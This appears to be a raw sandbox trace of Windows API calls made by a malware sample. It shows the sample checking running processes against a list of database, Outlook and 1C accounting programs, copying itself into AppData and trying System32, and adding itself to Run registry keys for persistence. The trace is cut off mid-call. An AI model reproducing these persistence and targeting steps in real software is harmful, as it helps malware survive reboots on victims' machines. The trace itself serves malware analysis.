[0120.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0120.907] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.907] lstrlenW (lpString="svchost.exe") returned 11 [0120.907] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0120.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0120.908] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.908] lstrlenW (lpString="audiodg.exe") returned 11 [0120.908] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0120.908] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0120.908] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0120.908] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0120.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0120.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0120.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0120.908] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.908] lstrlenW (lpString="svchost.exe") returned 11 [0120.908] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0120.908] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0120.908] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0120.908] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0120.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0120.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0120.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0120.909] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0120.909] lstrlenW (lpString="dllhost.exe") returned 11 [0120.909] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0120.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0120.909] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0120.909] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0120.909] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0120.909] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0120.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0120.909] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0120.909] lstrlenW (lpString="userinit.exe") returned 12 [0120.909] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0120.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0120.909] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0120.910] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.910] lstrlenW (lpString="explorer.exe") returned 12 [0120.910] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.910] lstrlenW (lpString="dwm.exe") returned 7 [0120.910] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.911] lstrlenW (lpString="svchost.exe") returned 11 [0120.911] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0120.911] lstrlenW (lpString="runonce.exe") returned 11 [0120.911] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0120.911] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0120.911] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.911] lstrlenW (lpString="spoolsv.exe") returned 11 [0120.912] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 0 [0120.912] CloseHandle (hObject=0xe0) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5680 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b56c8 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5710 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5730 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5778 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b4f48 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894d00 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5618 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894760 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894788 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5660 | out: hHeap=0x880000) returned 1 [0120.912] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8947b0 | out: hHeap=0x880000) returned 1 [0120.912] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ba090 [0120.913] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ca098 [0120.913] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.913] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8947b0 [0120.913] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8947b0, Size=0x40) returned 0x8b72f8 [0120.913] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.913] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8947b0 [0120.913] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.913] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x894788 [0120.913] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.913] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x894760 [0120.913] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894760, Size=0x40) returned 0x8b5660 [0120.913] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8ca098, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0120.913] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8da0a0 [0120.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ea0a8 [0120.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.914] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x894760 [0120.914] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894760, Size=0x40) returned 0x8b56a8 [0120.914] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b56a8, Size=0x80) returned 0x8b56a8 [0120.914] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b56a8, Size=0x100) returned 0x8b7010 [0120.914] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0120.914] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7010 | out: hHeap=0x880000) returned 1 [0120.914] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x8da0a0, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x4f [0120.914] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ea0a8 | out: hHeap=0x880000) returned 1 [0120.914] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8da0a0 | out: hHeap=0x880000) returned 1 [0120.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0120.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.914] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x894760 [0120.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.915] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5d48 [0120.915] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0120.915] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0120.915] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0120.915] lstrlenW (lpString="kernel32.dll") returned 12 [0120.915] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894760 | out: hHeap=0x880000) returned 1 [0120.915] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0120.915] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0120.915] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0120.915] CreateFileW (lpFileName="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0120.916] CloseHandle (hObject=0xe0) returned 1 [0120.917] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.917] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5d48 [0120.917] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.917] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5cf8 [0120.917] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0120.917] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0120.917] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0120.917] lstrlenW (lpString="kernel32.dll") returned 12 [0120.917] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0120.917] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0120.917] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0120.917] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0120.917] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8da0a0 [0120.917] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ea0a8 [0120.917] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.918] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5d48 [0120.918] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d48, Size=0x40) returned 0x8fa0c8 [0120.918] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa0c8, Size=0x80) returned 0x8b56a8 [0120.918] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b56a8, Size=0x100) returned 0x8b7010 [0120.918] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0120.918] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7010 | out: hHeap=0x880000) returned 1 [0120.918] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x8da0a0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x69 [0120.918] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ea0a8 | out: hHeap=0x880000) returned 1 [0120.918] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8da0a0 | out: hHeap=0x880000) returned 1 [0120.918] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0120.918] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.918] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5d48 [0120.918] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0120.918] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5cf8 [0120.918] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0120.918] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0120.918] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0120.918] lstrlenW (lpString="kernel32.dll") returned 12 [0120.918] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0120.918] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0120.918] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0120.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0120.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0120.920] ReadFile (in: hFile=0xe0, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0121.130] WriteFile (in: hFile=0xe4, lpBuffer=0x2050020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0121.133] ReadFile (in: hFile=0xe0, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0121.133] CloseHandle (hObject=0xe4) returned 1 [0121.133] CloseHandle (hObject=0xe0) returned 1 [0121.133] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0121.133] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5cf8 [0121.133] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0121.133] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5d48 [0121.133] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0121.133] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0121.133] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0121.134] lstrlenW (lpString="kernel32.dll") returned 12 [0121.134] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0121.134] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.134] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0121.134] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0121.138] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0121.138] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f48, Size=0x20) returned 0x8b5cf8 [0121.138] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5cf8, Size=0x40) returned 0x8fa0c8 [0121.138] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa0c8, Size=0x80) returned 0x8fb0c8 [0121.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 104 [0121.139] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0121.139] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x5c) returned 0x8b56a8 [0121.139] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0121.139] RegSetValueExW (hKey=0xe0, lpValueName="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", Reserved=0x0, dwType=0x1, lpData=0x8ba090, cbData=0xd0) returned 0x5 [0121.139] RegCloseKey (hKey=0xe0) returned 0x0 [0121.139] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b56a8 | out: hHeap=0x880000) returned 1 [0121.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 104 [0121.139] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0121.139] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x5c) returned 0x8b56a8 [0121.139] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0121.139] RegSetValueExW (in: hKey=0xe4, lpValueName="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", cbData=0xd0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x0 [0121.140] RegCloseKey (hKey=0xe4) returned 0x0 [0121.140] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b56a8 | out: hHeap=0x880000) returned 1 [0121.140] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0121.140] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb0c8 | out: hHeap=0x880000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8da0a0 [0121.140] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ea0a8 [0121.140] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.140] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5cf8 [0121.140] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5cf8, Size=0x40) returned 0x8fa0c8 [0121.140] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa0c8, Size=0x80) returned 0x8fb0c8 [0121.140] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8b7010 [0121.140] lstrlenW (lpString="") returned 0 [0121.140] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.140] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b56a8 [0121.140] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0121.140] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8ea0a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x8ea0a8*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0121.140] RegCloseKey (hKey=0xe4) returned 0x0 [0121.141] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b56a8 | out: hHeap=0x880000) returned 1 [0121.141] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.141] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b56a8 [0121.141] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0121.141] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8ea0a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0121.141] RegCloseKey (hKey=0xe4) returned 0x0 [0121.141] HeapFree (in: hHeap=0x880000, 